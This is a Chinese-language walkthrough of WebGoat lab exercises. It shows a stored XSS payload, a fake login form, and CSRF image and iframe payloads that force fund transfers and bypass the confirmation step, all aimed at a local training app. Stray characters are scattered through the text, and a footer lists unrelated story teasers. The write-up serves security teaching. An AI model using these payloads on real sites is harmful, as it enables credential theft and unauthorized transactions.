Webgoat XSS

<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>

Stage 1: Stored XSS

進(jìn)入tom的編輯頁(yè)面,將任意輸入框中的數(shù)據(jù)改為<script>alert(/xss/);</script>并保存谨朝,使用jerry的賬號(hào)登錄卤妒,訪問(wèn)tom的編輯頁(yè)面
<script>alert(/xss/)</script>

CSRF

stage 2
原鏈接:http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900
構(gòu)造后:http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=4000
構(gòu)造img:

![](http://localhost/WebGoat/attack?Screen=128&menu=900&transferFunds=4000)

繞過(guò) CSRF 確認(rèn)( CSRF Prompt By‐Pass)

轉(zhuǎn)賬請(qǐng)求需要用戶確認(rèn),通過(guò)構(gòu)造多個(gè)請(qǐng)求字币,繞過(guò)用戶確認(rèn)環(huán)節(jié)则披。第二個(gè)請(qǐng)求必須在第一個(gè)請(qǐng)求結(jié)束后被載入。所以需要添加javascript 以實(shí)現(xiàn)在第一個(gè)請(qǐng)求結(jié)束后自動(dòng)載入第二個(gè):在第一個(gè)frame 的屬性中添
加onload 參數(shù),設(shè)置src 為第二個(gè)frame洗出。

<iframe
src="http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=400"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>

效果如圖:


TIM截圖20170713111914.png

上圖第一個(gè)frame 顯示了用戶確認(rèn)信息收叶,這是第一位早的請(qǐng)求所觸發(fā)的結(jié)果。第二個(gè)
frame 顯示的是偽造的確認(rèn)請(qǐng)求觸發(fā)的結(jié)果:4000 美元已經(jīng)成功轉(zhuǎn)賬共苛。刷新頁(yè)面,完成根據(jù)
本節(jié)課程蜓萄。
事實(shí)上隅茎,在真實(shí)的攻擊中以上信息將被隱藏。點(diǎn)擊"restart this lesson"后再次對(duì)網(wǎng)站發(fā)起
攻擊嫉沽,本次攻擊嘗試使用隱蔽或非常小的frames 實(shí)現(xiàn)攻擊信息隱藏辟犀。

![](http://127.0.0.1:8080/WebGoat/attack?Screen=121&menu=900&menu=210&transferFunds=5000)
<img id="image2" width="1" height="1" />

對(duì)于開(kāi)發(fā)者來(lái)說(shuō)限制CSRF 的一種方法是只允許通過(guò)HTTP POST 提交參數(shù)。該方式將屏蔽通過(guò)iframe 和images 方式發(fā)起的攻擊绸硕,但對(duì)JavaScript 中的XmlHTTpRequest 無(wú)效堂竟。由于額外的信任,您可以嘗試通過(guò)XmlHTTpRequest發(fā)起基于POST 的攻擊玻佩。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末出嘹,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子咬崔,更是在濱河造成了極大的恐慌税稼,老刑警劉巖烦秩,帶你破解...
    沈念sama閱讀 221,695評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異郎仆,居然都是意外死亡只祠,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,569評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門(mén)扰肌,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)抛寝,“玉大人,你說(shuō)我怎么就攤上這事曙旭〉两ⅲ” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 168,130評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵夷狰,是天一觀的道長(zhǎng)岭皂。 經(jīng)常有香客問(wèn)我,道長(zhǎng)沼头,這世上最難降的妖魔是什么爷绘? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,648評(píng)論 1 297
  • 正文 為了忘掉前任,我火速辦了婚禮进倍,結(jié)果婚禮上土至,老公的妹妹穿的比我還像新娘。我一直安慰自己猾昆,他們只是感情好陶因,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,655評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著垂蜗,像睡著了一般楷扬。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上贴见,一...
    開(kāi)封第一講書(shū)人閱讀 52,268評(píng)論 1 309
  • 那天烘苹,我揣著相機(jī)與錄音,去河邊找鬼片部。 笑死镣衡,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的档悠。 我是一名探鬼主播廊鸥,決...
    沈念sama閱讀 40,835評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼辖所!你這毒婦竟也來(lái)了惰说?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,740評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤奴烙,失蹤者是張志新(化名)和其女友劉穎助被,沒(méi)想到半個(gè)月后剖张,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,286評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡揩环,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,375評(píng)論 3 340
  • 正文 我和宋清朗相戀三年搔弄,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片丰滑。...
    茶點(diǎn)故事閱讀 40,505評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡顾犹,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出褒墨,到底是詐尸還是另有隱情炫刷,我是刑警寧澤,帶...
    沈念sama閱讀 36,185評(píng)論 5 350
  • 正文 年R本政府宣布郁妈,位于F島的核電站浑玛,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏噩咪。R本人自食惡果不足惜顾彰,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,873評(píng)論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望胃碾。 院中可真熱鬧涨享,春花似錦、人聲如沸仆百。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,357評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)俄周。三九已至吁讨,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間峦朗,已是汗流浹背挡爵。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,466評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留甚垦,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,921評(píng)論 3 376
  • 正文 我出身青樓涣雕,卻偏偏與公主長(zhǎng)得像艰亮,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子挣郭,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,515評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容

  • http://www.91ri.org/tag/fuzz-bug 通常情況下迄埃,有三種方法被廣泛用來(lái)防御CSRF攻擊...
    jdyzm閱讀 4,182評(píng)論 0 5
  • 同源策略 所謂同源是指,域名兑障,協(xié)議侄非,端口相同蕉汪。 同源策略(same origin policy)是一種約定,它是瀏...
    喵小鯨2號(hào)閱讀 1,539評(píng)論 0 1
  • 在那個(gè)年代逞怨,大家一般用拼接字符串的方式來(lái)構(gòu)造動(dòng)態(tài) SQL 語(yǔ)句創(chuàng)建應(yīng)用者疤,于是 SQL 注入成了很流行的攻擊方式。在...
    Gundy_閱讀 555評(píng)論 0 5
  • 在那個(gè)年代叠赦,大家一般用拼接字符串的方式來(lái)構(gòu)造動(dòng)態(tài) SQL 語(yǔ)句創(chuàng)建應(yīng)用驹马,于是 SQL 注入成了很流行的攻擊方式。在...
    Safesonic閱讀 630評(píng)論 0 4
  • 一種習(xí)慣的形成除秀,是需要慢慢培養(yǎng)的糯累。 一種好習(xí)慣的養(yǎng)成,也是可以慢慢培養(yǎng)出來(lái)的册踩。 關(guān)鍵在于你要找到自己的興趣點(diǎn)所在泳姐,...
    淥水亭閱讀 182評(píng)論 0 0